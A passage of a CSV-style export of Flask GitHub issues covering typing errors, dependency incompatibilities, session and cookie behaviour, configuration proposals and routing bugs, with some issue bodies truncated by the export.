Mypy: ""Request"" has no attribute ""json"" [attr-defined]

Environment:

- Python version: 3.13.0
- Flask version: 3.1.0
",,2024-12-11T16:15:26Z,2024-12-11T17:15:31Z,2
pallets/flask,2730832359,Flash message with Markup fails,"Upgrading my platform from Python 3.8 + Flask 3.0.3 +  Flask-Session 0.8.0 with redis backend, to Python 3.11 + Flask 3.1.0 +  Flask-Session 0.8.0 with redis backend. Same user code.

Issue: fancy flash message breaks on the new platform (work fine on the old platform).

Flash message:
`flash(Markup('press the play button <i class=""bi-play-btn-fill black""></i> below'), 'info')`

Error:
```
[2024-12-10 19:01:28,998] ERROR in base: Failed to serialize session data: Encoding objects of type Markup is unsupported
[2024-12-10 19:01:28,998] ERROR in app: Exception on / [POST]
Traceback (most recent call last):
  File ""/var/www/lib/python3.11/site-packages/flask/app.py"", line 1511, in wsgi_app
    response = self.full_dispatch_request()
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/var/www/lib/python3.11/site-packages/flask/app.py"", line 920, in full_dispatch_request
    return self.finalize_request(rv)
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/var/www/lib/python3.11/site-packages/flask/app.py"", line 941, in finalize_request
    response = self.process_response(response)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/var/www/lib/python3.11/site-packages/flask/app.py"", line 1322, in process_response
    self.session_interface.save_session(self, ctx.session, response)
  File ""/var/www/lib/python3.11/site-packages/flask_session/base.py"", line 305, in save_session
    self._upsert_session(app.permanent_session_lifetime, session, store_id)
  F... [TRUNCATED]",,2024-12-10T18:08:02Z,2024-12-10T18:38:05Z,1
pallets/flask,2720210660,flask==2.2.4 incompatible with werkzeug==3.1.3,"I use flask==2.2.4 for my project and when I install flask, it pulls **any** werkzeug>=2.2.2 (which is the default behaviour). After [werkzeug==3.1.3](https://pypi.org/project/Werkzeug/3.1.3/) got released on 8 Nov, 2024, flask pulls the latest version of it. With this new version of werkzeug, while executing unit tests, I get an error saying `module 'werkzeug' has no attribute '__version__'`

**A small example to reproduce the issue:**
(myenv) root@6426d8424cca:~# python3
Python 3.9.16 (main, Sep  2 2024, 12:46:28) 
[GCC 10.2.1 20210110] on linux
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
 **"">>> from flask import Flask
 "">>> app = Flask(__name__)
 "">>> my_test_client = app.test_client()
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""/root/myenv/lib/python3.9/site-packages/flask/app.py"", line 1252, in test_client
    return cls(  # type: ignore
  File ""/root/myenv/lib/python3.9/site-packages/flask/testing.py"", line 116, in __init__
    ""HTTP_USER_AGENT"": f""werkzeug/{werkzeug.__version__}"",
**AttributeError: module 'werkzeug' has no attribute '__version__'****


I shouldn't be seeing any error like above.

Environment:

- Python version: 3.9.16
- Flask version: 2.2.4
",,2024-12-05T11:56:45Z,2024-12-05T14:50:24Z,1
pallets/flask,2674397711,Remove unnecessary whitespace in slice notation to align with PEP 8 and Black standards,"File: flask/src/flask/cli.py
Line: 701

The return statement in the _path_is_ancestor function can be updated to improve readability and align with PEP 8 and Black formatting standards for slice notation. Currently, there is unnecessary whitespace around the colon (:) in the slice, which is inconsistent with these guidelines.

Current Code:
```return os.path.join(path, other[len(path) :].lstrip(os.sep)) == other```

Suggested Change:
Remove the unnecessary whitespace around the colon (:) in the slice notation to improve readability:
```return os.path.join(path, other[len(path):].lstrip(os.sep)) == other```

This change ensures compliance with PEP 8 and Black standards, contributing to cleaner and more consistent formatting across the codebase.",,2024-11-20T04:56:02Z,2024-11-20T07:21:22Z,1
pallets/flask,2671983595,Type hint for FlaskCliRunner.invoke is not specific,"The type hint of the return type of `FlaskCliRunner.invoke` ist `typing.Any` but should use `click.testing.Result`. This leads to missing auto completions in the IDE as well as errors from the type checker if not additional type narrowing is done.

The Problem is here: https://github.com/pallets/flask/blob/main/src/flask/testing.py#L276

To fix this `Result` must be imported from `click.testing` and used as a return type annotation.

The documentation already specifies `click.testing.Result` as return type.

Environment:

- Python version: 3.12.2
- Flask version: 3.1.0 but is also present in current main branch.
",typing,2024-11-19T12:14:20Z,2024-11-24T01:53:05Z,1
pallets/flask,2658613605,PROVIDE_AUTOMATIC_OPTIONS causes KeyError if not set,"https://github.com/pallets/flask/blob/bc098406af9537aacc436cb2ea777fbc9ff4c5aa/src/flask/sansio/app.py#L641C12-L641C86

Simply changing this to : `self.config.get(""PROVIDE_AUTOMATIC_OPTIONS"", False)` should resolve the problem.

This change now released is causing upstream trouble in other packages such as Quart:
https://github.com/pallets/quart/issues/371

",,2024-11-14T12:01:51Z,2024-11-14T15:25:04Z,3
pallets/flask,2656053281,merge app and request contexts into a single context,"Right now we have two separate contexts managed separately, the app and request contexts. This makes the implementation pretty complicated, as we need to maintain two context var stacks, and do a bunch of checks in the request context to make sure we're managing the correct app context. It makes an already confusing topic more complicated to explain: app context is active for requests and cli commands, don't push an app context before making a request, etc.

I think merging the two contexts could be possible. The single context (`ExecutionContext`?) would have the `g`, `request`, and `session` attributes, but accessing `request` or `session` when not in a request would raise an error.",,2024-11-13T16:28:05Z,2025-09-19T23:45:28Z,7
pallets/flask,2653862892,configure and check `request.trusted_hosts`,"If `request.trusted_hosts` is set, it will be checked when accessing `request.host`/`url`/etc. Add `TRUSTED_HOSTS` config, and check it during routing.",,2024-11-13T01:49:21Z,2024-11-13T05:03:24Z,2
pallets/flask,2638774385,dotenv file arg should take precedence over default dotenv files,"As pointed out in #5532, `-e file` is loaded after the default `.env` and `.flaskenv` files, which means it won't override env vars that are set by the defaults. It will be a little tricky to track during CLI startup, but I think it should be possible to fix this so that precedence is: `os.environ` > `-e path` > `.env` > `.flaskenv`.",cli,2024-11-06T17:34:15Z,2024-11-07T19:56:28Z,0
pallets/flask,2627748915,extend config for Request form memory settings,"Werkzeug provides three settings on `Request` to control form parsing: `max_content_length`, `max_form_memory_size`, and `max_form_parts`. Only `max_content_length` is exposed as a Flask config right now, and the way it's implemented means it can only be set for the whole application, not per-request. Fix all that. Document these in the security page as well as the config page.",,2024-10-31T20:19:45Z,2024-11-01T20:21:37Z,0
pallets/flask,2614169547,Rotating secret keys,"I'd like to have a couple of secret keys available, like so
```
app.secret_keys = [
   'key-1',
   'key-2',
]
```
To allow them to rotate.

I've seen this issue which seems to have auto-closed
https://github.com/pallets/flask/issues/1574

It seems like itsdangerous now supports this
https://github.com/pallets/itsdangerous/pull/141

This would allow secret keys to be rotated regularly without sessions being invalidated.
",,2024-10-25T13:50:09Z,2024-11-08T16:16:05Z,3
pallets/flask,2530533986,Error: No such command 'db'.,"
[OJ.zip](https://github.com/user-attachments/files/17025798/OJ.zip)
```
(onlinejudge_env) kimi@KimideMacBook-Air OJ % flask db init

Error: While importing 'run', an ImportError was raised:

Traceback (most recent call last):
  File ""/Users/kimi/OJ/onlinejudge_env/lib/python3.9/site-packages/flask/cli.py"", line 218, in locate_app
    __import__(module_name)
  File ""/Users/kimi/OJ/run.py"", line 3, in <module>
    app = create_app()
  File ""/Users/kimi/OJ/app/__init__.py"", line 25, in create_app
    from app.auth import auth as auth_blueprint
  File ""/Users/kimi/OJ/app/auth.py"", line 6, in <module>
    from werkzeug.urls import url_parse
ImportError: cannot import name 'url_parse' from 'werkzeug.urls' (/Users/kimi/OJ/onlinejudge_env/lib/python3.9/site-packages/werkzeug/urls.py)


Usage: flask [OPTIONS] COMMAND [ARGS]...
Try 'flask --help' for help.

Error: No such command 'db'.
(onlinejudge_env) kimi@KimideMacBook-Air OJ % 
```",,2024-09-17T09:17:38Z,2024-09-17T14:01:20Z,0
pallets/flask,2498668655,Allow choice of reloader type,"I know it was closed in #5007, but would it be possible to reconsider this? I'm having a lot of trouble with `watchdog` despite following all the fixes proposed  such as #2603. The reloader constantly detects spurious file changes, whereas I've never experienced such issues with `stat`. If you really dislike the idea of a new flag, maybe an environment variable would be an option?

Thanks a lot for the work on this awesome package!",,2024-08-31T06:26:15Z,2024-09-01T19:11:29Z,1
pallets/flask,2479400772,`Config` `type: ignore` causing downstream error reports,"The `# type: ignore` in the code here https://github.com/pallets/flask/blob/8a6cdf1e2a5efa81c30f6166602064ceefb0a35b/src/flask/config.py#L50
is causing type errors to be reported in user code with pyright strict settings.

```python
from flask import Flask


Flask(""x"").config.update({""A"": ""3""})  # 'Type of ""update"" is partially unknown - reportUnknownMemberType'
```

Based on other typing in the same class, it looks like it could be:
```python
class Config(dict[str, t.Any]):
```


Environment:

- Python version: 3.12
- Flask version: 3.0.3
",,2024-08-21T23:08:00Z,2024-08-22T00:09:57Z,3
pallets/flask,2478493333,Test failures in tutorial with python3.12,"The tests runned with `pytest` works with python3.11 and not in 3.12:

How to reproduce:
```
git clone git@github.com:pallets/flask.git
cd flask/examples/tutorial
python3.11 -m venv venv3.11
python3.12 -m venv venv3.12
# install dependencies
# setup db
```
In both cases, the webservice runs properly with `./venv3.1x/bin/flask --app flaskr run --debug`.

However, running the tests show different results. In `venv3.11`, the 24 tests are green. In `venv3.12` virtualenv, there is 6 failures (and 18 green). The failures are due to a `DeprecationWarning` which becomes an error:
```
DeprecationWarning: The default timestamp converter is deprecated as of Python 3.12; see the sqlite3 documentation for suggested replacement recipes
```

The full output is provided at the end of the bug report.

The `DeprecationWarning` is documented in the [3.12 release](https://docs.python.org/3/whatsnew/3.12.html): '[default adapters and converters](https://docs.python.org/3/library/sqlite3.html#sqlite3-default-converters) are now deprecated. Instead, use the [Adapter and converter recipes](https://docs.python.org/3/library/sqlite3.html#sqlite3-adapter-converter-recipes) and tailor them to your needs.' Copy-pasting blindly the recipes in `tests/conftest.py`, `flaskr/__init__.py` and `flaskr/db.py` does not fix the errors.

The errors can be fixed by adding thoses lines in conftest.py:
```python
def convert_timestamp(val):
    """"""Convert Unix epoch timestamp to datetime.dateti... [TRUNCATED]",docs,2024-08-21T16:38:58Z,2024-11-02T01:07:02Z,7
pallets/flask,2475298203,test_helpers.py.test_open_resource_with_encoding function attribute error,"the function test_open_resource_with_encoding, sends encoding arguemnt to app.open_resource() function. the open_resource function doesnt has any enoding parameter in it's signature.

- Python version: 3.11.5

- Flask version: current
",,2024-08-20T10:32:55Z,2024-08-20T14:23:33Z,2
pallets/flask,2467499893,Revisit SERVER_NAME's impact on routing and external URL generation,"#998 was a discussion regarding the impact the `SERVER_NAME` setting has on an application.  IMO, there was consensus in that issue, including by @mitsuhiko, that `SERVER_NAME` being used both in routing and in URL generation was problematic.  

That issue was closed by https://github.com/pallets/flask/pull/2635, which made a change regarding subdomain matching.  However, IMO, it did not address the fundamental problem of `SERVER_NAME` impacting two disparate mechanisms in Flask.

I found two additional issues since #998 that have attempted to point out the problem with `SERVER_NAME`: #2813, #3465

In #2813, a minimal, complete, and verifiable example was requested and I have therefore prepared an [example gist that demonstrates the problem](https://gist.github.com/rsyring/c50a500a5d35787ef45c1ff1e78d8898).

The gist's third ""currently impossible"" test demonstrates that it's currently impossible to:

* Set `SERVER_NAME` so external URL generation works outside a request context with only an app context; and
* Have the app respond properly to multiple host names. 

My particular use case currently is that I need `SERVER_NAME` set so external URLs will be created accurately in distributed tasks where no web request is present.  Additionally, I need the app to respond to multiple host names 1) the canonical URL the public uses; and 2) the IP address based URL our load balancer uses for health checks.

IMO, `SERVER_NAME` should be deprecated and two new settings sh... [TRUNCATED]",,2024-08-15T06:31:40Z,2024-11-12T18:13:40Z,12
pallets/flask,2451927450,Pyright Type Errors,"We have a number of various Pyright typing errors.

Environment:

- Python version: `3.12`
- Flask version: `3.1.0`
",,2024-08-07T00:56:36Z,2024-10-24T21:55:10Z,1
pallets/flask,2451872239,Pyright type errors: `src/flask/helpers.py`,"Pyright reports type errors for `src/flask/helpers.py`:

```
flask/src/flask/helpers.py
  flask/src/flask/helpers.py:590:27 - error: Cannot access attribute ""get_filename"" for class ""Loader""
    Attribute ""get_filename"" is unknown (reportAttributeAccessIssue)
```

Command which was run:

```shell
.venv/bin/pyright --pythonpath .venv/bin/python3 --project pyproject.toml
```

Environment:

- Python version: `3.12`
- Flask version: `3.1.0`
",,2024-08-07T00:02:58Z,2024-08-07T00:30:20Z,0
pallets/flask,2451835935,Pyright type errors: `src/flask/blueprint.py`,"Pyright reports type errors for `src/flask/blueprint.py`:

```
flask/src/flask/blueprints.py
  flask/src/flask/blueprints.py:126:20 - error: Expression of type ""BufferedReader"" is incompatible with return type ""IO[AnyStr@open_resource]""
    ""BufferedReader"" is incompatible with ""IO[AnyStr@open_resource]""
      Type parameter ""AnyStr@IO"" is invariant, but ""bytes"" is not the same as ""AnyStr@open_resource"" (reportReturnType)
```

Command which was run:

```shell
.venv/bin/pyright --pythonpath .venv/bin/python3 --project pyproject.toml
```

Environment:

- Python version: `3.12`
- Flask version: `3.1.0`
",,2024-08-06T23:17:47Z,2024-08-07T00:30:10Z,0
pallets/flask,2451814425,Pyright type errors: `src/flask/app.py`,"Pyright reports type errors for `src/flask/app.py`:

```
flask/src/flask/app.py
  flask/src/flask/app.py:352:20 - error: Expression of type ""BufferedReader"" is incompatible with return type ""IO[AnyStr@open_resource]""
    ""BufferedReader"" is incompatible with ""IO[AnyStr@open_resource]""
      Type parameter ""AnyStr@IO"" is invariant, but ""bytes"" is not the same as ""AnyStr@open_resource"" (reportReturnType)
  flask/src/flask/app.py:1178:21 - error: Expression with type ""Tuple[ResponseValue, HeadersValue] | Tuple[ResponseValue, int] | Tuple[ResponseValue, int, HeadersValue]"" cannot be assigned to target tuple
    Type ""Tuple[ResponseValue, int, HeadersValue]"" is incompatible with target tuple
      Tuple size mismatch; expected 2 but received 3 (reportAssignmentType)
  flask/src/flask/app.py:1205:28 - error: Argument of type ""HeadersValue | int | None"" cannot be assigned to parameter ""status"" of type ""int | str | HTTPStatus | None"" in function ""__init__"" (reportArgumentType)
  flask/src/flask/app.py:1240:29 - error: Cannot assign to attribute ""status"" for class ""Response"" (reportAttributeAccessIssue)
  flask/src/flask/app.py:1242:34 - error: Cannot assign to attribute ""status_code"" for class ""Response""
    Type ""HeadersValue | int"" is incompatible with type ""int""
      ""Mapping[str, HeaderValue]"" is incompatible with ""int"" (reportAttributeAccessIssue)
```

Command which was run:

```shell
source .venv/bin/activate
pyright
```

Environment:

- Python versio... [TRUNCATED]",,2024-08-06T22:52:48Z,2024-08-07T00:29:26Z,3
pallets/flask,2439091841,`pyright` type checking seems to be unused. `mypy` still being used.,"We added `pyright` in 3.0.3 (see: https://github.com/pallets/flask/pull/5457), but `mypy` is still being used for type checking https://github.com/pallets/flask/blob/main/tox.ini#L29-L32, and `pyright` is not.

If this was an intentional change of type checkers, then would expect that `mypy` be completely removed, and `pyright` be the command run in `tox typing`.

It should be noted, however, that running `pyright` yields 90 errors (71 tests/19 src). Is there an upgrade path or was this an oversight?

Environment:

- Python version:
- 3.12
- Flask version:
- 3.0.3
",,2024-07-31T04:29:38Z,2024-10-24T21:55:35Z,1
pallets/flask,2415608770,Encountering Jinja2 SyntaxError after adding another css file,"I've been encountering this confusing error; which is Jinja2.exceptions.TemplateSyntaxError: expected token ',', got 'string'.
This only happened after I added another css file to my html script. But previously, it worked fine. 

Here are the previous errors i've encountered regarding this issue:

```
<link rel=""icon"" href=""{{ url_for('static', filename='images/favicon.png') }}"">
jinja2.exceptions.TemplateSyntaxError: expected token ',', got 'static'
    <li onclick=""redirectUser('/homepage')"">Home</li>
jinja2.exceptions.TemplateSyntaxError: expected token ',', got 'string'
```

Environment:

- Python version: 3.12.4
- Flask version: 3.0.3
",,2024-07-18T07:33:00Z,2024-07-18T07:45:48Z,1
pallets/flask,2405925770,"""catch-all"" endpoint doesn't work with `static_url_path=""/""`","### Catch all endpoint for SPA from [docs](https://flask.palletsprojects.com/en/2.2.x/patterns/singlepageapplications/) doesn't work with `static_url_path=""/""` or `static_url_path=""""`

### Context

I'm using Flask to serve React SPA with client-side routing. 
Flask worked perfectly, until I added images and decided to serve it from `static/` folder.

### Expected:

I can serve images from `static/` folder. 
I can reload a non-root page and Flask won't respond with `404 Not Found`.

### Current:

I can navigate to `/path` or `/path1/path2` and etc. with no problems, but when I reload any non-root page the Flask gives me `404 Not Found` and the catch-all route didn't trigger.


### Example:

**`folder structure`**
```
.
├── __init__.py
└── main/
    ├── static/
    │   ├── image1.jpg
    │   ├── image2.jpg
    │   ├── index.html
    │   └── main.js
    ├── __init__.py
    └── routes.py
```

**`./__init__.py`**
```python
def create_app(config_class=Config) -> Flask:
  app = Flask(__name__)
  from .main import bp as main_bp
  app.register_blueprint(main_bp)
  return app
```

**`./main/__init__.py`**
```python
from flask import Blueprint

bp = Blueprint(""main"", __name__, static_folder=""static"", static_url_path=""/"")

from .main import routes
``` 

**`./main/routes.py`**
```python
from .main import bp

@bp.route(""/"", defaults={""path"": """"})
@bp.route(""/<path:path>"")
def catch_all(path):
    return bp.send_static_file(""index.ht... [TRUNCATED]",,2024-07-12T16:07:14Z,2024-07-14T18:17:04Z,1
pallets/flask,2399274074,Update Werkzeug to 3.0.3,"Update Werkzeug to 3.0.3 to address vulnerability found in Werkzeug debugger.
https://werkzeug.palletsprojects.com/en/3.0.x/changes/

Updating Werkzeug to version 3.0.3 fixes the debugger vulnerability.

",,2024-07-09T21:45:29Z,2024-07-09T22:04:33Z,1
pallets/flask,2396364175,false redirect from /name to /name/ causes 404,"<!--
route name redirects to /name/ when the canonical name is /name
this causes the page to be 404 Not Found, since when using /name as a canonical name, / isn't avaliable
-->

<!--
how to replicate:
download flask on ubuntu 24.04 using the command:
sudo apt install python3-flask

run the code from the terminal:
flask --app my_app run --debug
in this order:
1). first using @app.route(""/hello"")
2). then using @app.route(""/hello/"")
3). then using @app.route(""/hello"")
the page should now autocomplete /hello to /hello/

example end code picture: 
![Screenshot from 2024-07-08 22-01-58](https://github.com/pallets/flask/assets/87893493/1a91c062-4739-497d-8446-32089db91017)
-->

<!--
after changing back the code to @app.route(""/name"") the code should have not autocompleted the url to /name/
-->

Environment:

- Python version: 3.12.3
- Flask version: 3.0.2
",,2024-07-08T19:10:37Z,2024-07-08T19:29:59Z,1
pallets/flask,2393797634,Flask incorrectly parses chained query parameters ,"When accessing the /test route with both category and location query parameters (http://localhost:5000/test?category=fish&location=water), Flask correctly parses category but ignores location.

### Steps to Reproduce
Access the URL http://localhost:5000/test?category=fish&location=water.
Expected behavior: Both category and location parameters should be correctly parsed by Flask.
Actual behavior: Flask parses category correctly (""excavator""), but location is ignored.

```(python)
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route(""/test"")
def test():
    category = request.args.get(""category"")
    location = request.args.get(""location"")
    return {""category"": category, ""location"": location}

if __name__ == ""__main__"":
    app.run(debug=True)
```

Expected:
```(json)
{
    ""category"": ""fish"",
    ""location"": ""water""
}
```

Got:
```(json)
{
    ""category"": ""fish"",
    ""location"": null
}
```
### Environment:

- Python version: 3.8.10
- Flask version: 3.0.3
",,2024-07-07T00:27:03Z,2024-07-07T01:19:13Z,1
pallets/flask,2383749248,Handler `before_request` doesn't work as expected.,"I want to implement CORS processing without any third party libraries (like flask-cors). My desire is simple: assign multiple headers to any response, access and process the pre-flight OPTIONS request.

```python
class CORSMiddleware:
    def before_request(self):
        if request.method == ""OPTIONS"":
            response = jsonify({""status"": ""ok""})
            return self.process_response(response)

    def after_request(self, response):
        return self.process_response(response)

    # noinspection PyMethodMayBeStatic
    def process_response(self, response):
        if response:
            response.headers.add(""Access-Control-Allow-Origin"", ""*"")
            response.headers.add(""Access-Control-Allow-Headers"", ""Content-Type, Authorization"")
            response.headers.add(""Access-Control-Allow-Methods"", ""GET, POST, OPTIONS, DELETE, PUT"")
        return response

    def register(self, app: Flask):
        app.before_request(self.before_request)
        app.after_request(self.after_request)
```

It can be tested like this

```py

# Note: helper function to reduce view logic
def add_cors_headers(response):
    response.headers.add(""Access-Control-Allow-Origin"", ""*"")
    response.headers.add(""Access-Control-Allow-Headers"", ""Content-Type,Authorization"")
    response.headers.add(""Access-Control-Allow-Methods"", ""GET,POST,OPTIONS,DELETE,PUT"")
    return response


user_blueprint = Blueprint(""user"", __name__, url_prefix=""/users"")


@u... [TRUNCATED]",,2024-07-01T12:41:52Z,2024-07-01T15:51:19Z,0
pallets/flask,2380689077,Document behaviour of __init__ in cli.prepare_import(),"The code in [cli](https://github.com/pallets/flask/blob/main/src/flask/cli.py#L215) is a bit confusing: if you have an __init__ file in the project it causes the cli to step out of the directory and import it from outside the directory.

E.h. I was working in directory /Users/visgean/p/social-flask/chapter2/models_app and the flask run command tried to import the app as chapter2.models_app.app, which did not work:

```
Error: While importing 'chapter2.models_app.app', an ImportError was raised:
```

I had to dig into the code to see that the solution is to delete the init file, apparently i am not the only one: https://stackoverflow.com/questions/70835630/while-importing-myapp-app-an-import-error-was-raised


I think this feature is a bit undcomented and to be honest I am not sure what the goal is. If I run flask run in a directory I dont want it to work at all with the parent directory. E.g. flask should only be aware of the current directory.

Proposed fixes: 
- Specifically mention this behavior on start e.g. ""importing app as chapter2.models_app.app due to presence of __init__.py""
- Mention this behaviour in docs somewhere
- Remove this behavior unless there is a clear need for it. ",,2024-06-28T15:32:58Z,2024-06-28T16:32:22Z,4
pallets/flask,2371416285,get 请求，定义参数类型的问题,"为什么在 get 请求中，设置某个参数类型为 int 类型。
![image](https://github.com/pallets/flask/assets/38832100/6f2ad22b-63b1-4ea1-8567-975d146c061c)


而在浏览器这样请求时，却报 404  错误。
![image](https://github.com/pallets/flask/assets/38832100/0c28c5c7-bb27-4669-b877-c90fb7b0e68a)


Flaks 版本
![image](https://github.com/pallets/flask/assets/38832100/244e1622-2ea0-42ef-98f9-7710c55d83f9)

",,2024-06-25T01:27:43Z,2024-06-25T04:45:17Z,0
pallets/flask,2364798068,allow setting encoding in open_resource(),"This is a duplicate of #1740 &mdash; that may have been closed for lack of a clear rationale, however, and I'd like to suggest it again with the following reasoning.

The documentation currently gives this example for using `open_resource()`:

```python
with app.open_resource(""schema.sql"") as f:
    conn.executescript(f.read())
```

On Windows, however, this can fail to open a file encoded in UTF-8, which most are these days, and safer code looks like this:

```python
with app.open_resource(""schema.sql"", mode=""rb"") as f:
   conn.executescript(f.read().decode(""utf-8""))  # type: ignore [attr-defined]
```

(The type comment is needed to prevent mypy from complaining about `f.read()` possibly being a string with no `.decode()` method, as it can't tell that the file was opened in 'rb' mode.)

It would be cleaner and more flexible to be able to write:

```python
with app.open_resource(""schema.sql"", encoding=""utf-8"") as f:
   conn.executescript(f.read())
```
",,2024-06-20T16:05:45Z,2024-07-11T02:16:47Z,0
pallets/flask,2354274207,IPP,.,,2024-06-14T23:57:38Z,2024-06-15T00:00:18Z,0
pallets/flask,2330456902,request parsing special parameters,"I want to know when i send ""http://127.0.0.1:5000/?name=xiaojiann+&age=16"" , why request.query_string can get b'name=xiaojiann+' but request.arg get ImmutableMultiDict([('name', 'xiaojiann ')]), request.args use blank space replace +

<img width=""739"" alt=""image"" src=""https://github.com/pallets/flask/assets/61368566/0a58880c-a70b-4455-a949-4af5ff55ca5b"">

I try flask version 2.0.3 , 3.0.3 and python version 3.6 , 3.10",,2024-06-03T08:06:41Z,2024-06-03T12:08:25Z,1
pallets/flask,2326351961,Avoid opening sessions for static resources,"Every HTTP request currently results in an HTTP session being opened via `SessionInterface.open_session`. When a server-side session implementation is used, like [Flask-Session](https://flask-session.readthedocs.io/), this results in storage writes to update the expiry date. Requests for static resources are also subject to this, which can degrade performance.

It would be useful to easily opt static resources out of sessions. Currently this is only possible with a custom session interface, for example:

```python
class StaticRequestFilteringSessionInterface(SessionInterface):
    def __init__(self, app):
        self._delegate = app.session_interface
        self._exclude_path_prefix = app.static_url_path + ""/""

    def open_session(self, app, request):
        if request.path.startswith(self._exclude_path_prefix):
            return self.make_null_session(app)

        return self._delegate.open_session(app, request)

    def save_session(self, app, session, response):
        return self._delegate.save_session(app, session, response)
```

Configured with:

```python
from flask_session import Session

...
Session(app)
app.session_interface = StaticRequestFilteringSessionInterface(app)
```",,2024-05-30T18:55:26Z,2024-05-30T18:59:37Z,4
pallets/flask,2318611427,Flask ignores multiple slashes at the beginning of the path,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
GitHub Discussions or the Pallets Discord for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.8.14
- Flask version: 2.3.2

I have a paths with prefix /admin. if you follow a path containing this prefix, proxy  before app see this and asks mTLS auth. But when i follow this path with multiple slashes at the beginning (ex //admin, ///admin) proxy ignore this, but flask think that this is the same path as /admin and return values, client must not see. I think this should not work like this
",,2024-05-27T08:49:39Z,2024-05-27T16:05:42Z,1
pallets/flask,2298513020,send_from_directory unclosed file error,"When warnings are set to error, pytest claims there is an unclosed file when `send_from_directory` is called.  I assume this indicates there is a resource leak.  Even if Python garbage collects this at some point, this causes issues with testing flask applications that use send_from_directory with warnings as errors enabled.

1. Create app

app.py:
```
from flask import Flask, send_from_directory
app = Flask(__name__)

@app.route('/<path:name>')
def download_resources(name):
    return send_from_directory('resources', name)
```


2. Add `resources/file.txt`

```bash
mkdir resources
echo file > resources/file.txt
```


3. Add tests

tests/conftest.py:
```
import pytest

from app import app as flask_app

@pytest.fixture
def app():
    yield flask_app

@pytest.fixture
def client(app):
    return app.test_client()
```

tests/test_app.py:
```
def test_download(app, client):
    res = client.get('/file.txt')
    assert res.status_code == 200
```

4. Run tests

Execute `pytest -Werror`.

The results ([results.txt](https://github.com/pallets/flask/files/15325158/results.txt)) include the following error:
` ResourceWarning: unclosed file <_io.BufferedReader name='/flask-test/resources/file.txt'>`

Expected Results:

Execute `pytest` without warnings as errors.  This is the expected result:

```
============================= test session starts ==============================
platform darwin -- Python 3.11.9, pytest-8.2.0, plug... [TRUNCATED]",,2024-05-15T18:03:38Z,2024-05-15T18:31:53Z,3
pallets/flask,2282676733,Change of query string encoding behaviour in flask 3.0,"Flask until 2.0 decoded %-encoded entities from query strings, while it seems that Flask 3.0 does not.

Given this `print_args.py`:

```py
from flask import Flask, request

app = Flask(__name__)


@app.route(""/"")
def hello_world():
    return request.args.get(""test"")
```

Ok Flask 2:

```
$ flask --version
Python 3.11.2
Flask 2.2.2
Werkzeug 2.2.2
$ flask --app print_args run
...
curl http://127.0.0.1:5000?test=%A0+++a
�   a
```

On Flask 3:

```
$ flask --version
Python 3.11.9
Flask 3.0.3
Werkzeug 3.0.2
$ flask --app print_args run
...
curl http://127.0.0.1:5000?test=%A0+++
%A0   a
```

While I understand  %A0 is not a valid unicode sequence, this is a change of behaviour may be worth documenting.",,2024-05-07T08:56:15Z,2024-05-07T13:31:48Z,1
pallets/flask,2271964542,Add support for partitioned session cookies,"Related issue with historical context: https://github.com/pallets/werkzeug/issues/2797

Partitioned cookies are now supported in Werkzeug: https://github.com/pallets/werkzeug/pull/2855

It would be nice to have first-class support for the flask session cookie using the `Partitioned` flag to provide support for Chrome's CHIPS and allow sessions to continue to work within iframes.

Example usage might be:

```python
app.config['SESSION_COOKIE_SAMESITE'] = ""None""
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_PARTITIONED'] = True # add this?
```
",,2024-04-30T16:22:37Z,2024-11-01T23:26:39Z,4
pallets/flask,2267472618,Failing to start (due to port unavailable) cannot be directly determined by the current python api,"I believe that failing to start (due to the designated port being unavailable) cannot be directly determined by the current python api, if not mistaken.

When the port specified for startup is taken, a python code starting the server with Werkzeug cannot know if startup has failed, since no exception is raised, and no api is there to check on its status, while the following is written to stderr:

> Address already in use
> Port 5000 is in use by another program. Either identify and stop that program, or start the server with a different port.

example code:

```python
from flask import Flask
from werkzeug.serving import run_simple

app = Flask(__name__)

try:
    run_simple('127.0.0.1', 5000, app)  
except Exception as e:
    start_success = False
```

Even though traditionally most web servers frameworks did not touch up their startup and shutdown usability from code to those levels, I think it would be implied to provide the caller with this basic level of transparency being robustly enabled for them. Apologies in advance if I've missed any obvious way. 

# Environment:

- Python version: 3.10.13
- Flask version: 3.0.3
- Platform: Ubuntu 22.04

# Mildly related on the same theme of api startup and shutdown: 
https://stackoverflow.com/questions/72824420/how-to-shutdown-flask-server",,2024-04-28T10:18:02Z,2024-04-28T15:13:06Z,4
pallets/flask,2234023421,Conflicting cookies shenanigans with `SESSION_COOKIE_DOMAIN`,"Hi,
I encountered a strange behavior of flask regarding cookies when the value of `SESSION_COOKIE_DOMAIN` is updated after some cookies have been set.
I observed this with Python 3.11, Flask 3.0.2 and Werkzeug 3.0.2 with both Firefox 124 and Chrome 123.
First of all, I could not reproduce the issue when serving on http://localhost:5000, so you might need to add `127.0.0.1 flask.localhost` in your `/etc/hosts` to be able to reproduce this, and access the app from http://flask.localhost:5000.

0. Put the following snippet in an `app.py` and run it with `env FLASK_DEBUG=1 FLASK_APP=app flask run`. 
```python
import flask
import base64
app = flask.Flask(__name__)
app.config[""SECRET_KEY""] = ""super secret""
app.config[""SERVER_NAME""] = ""flask.localhost:5000""
app.config[""SESSION_COOKIE_DOMAIN""] = app.config[""SERVER_NAME""]

@app.route(""/"", methods=(""GET"", ""POST""))
def index():
    if flask.request.form:
        flask.session[""value""] = flask.request.form[""value""]

    session_cookies = [
        base64.b64decode(cookie.split(""."")[0]).decode()
        for cookie in flask.request.cookies.getlist(""session"")
    ]
    return (
        '<form action=""/"" method=""post""><input name=""value""><input type=""submit""></form""><br>\n'
        + f'value {flask.session.get(""value"")}<br>\n'
        + ""cookies: "" + "" "".join(session_cookies)
    )
```

2. **Open http://flask.localhost:5000, clean the cookies if existing.**
`flask.session` is empty.
3. **Write `foo` in the for... [TRUNCATED]",,2024-04-09T17:50:48Z,2024-05-25T17:27:14Z,7
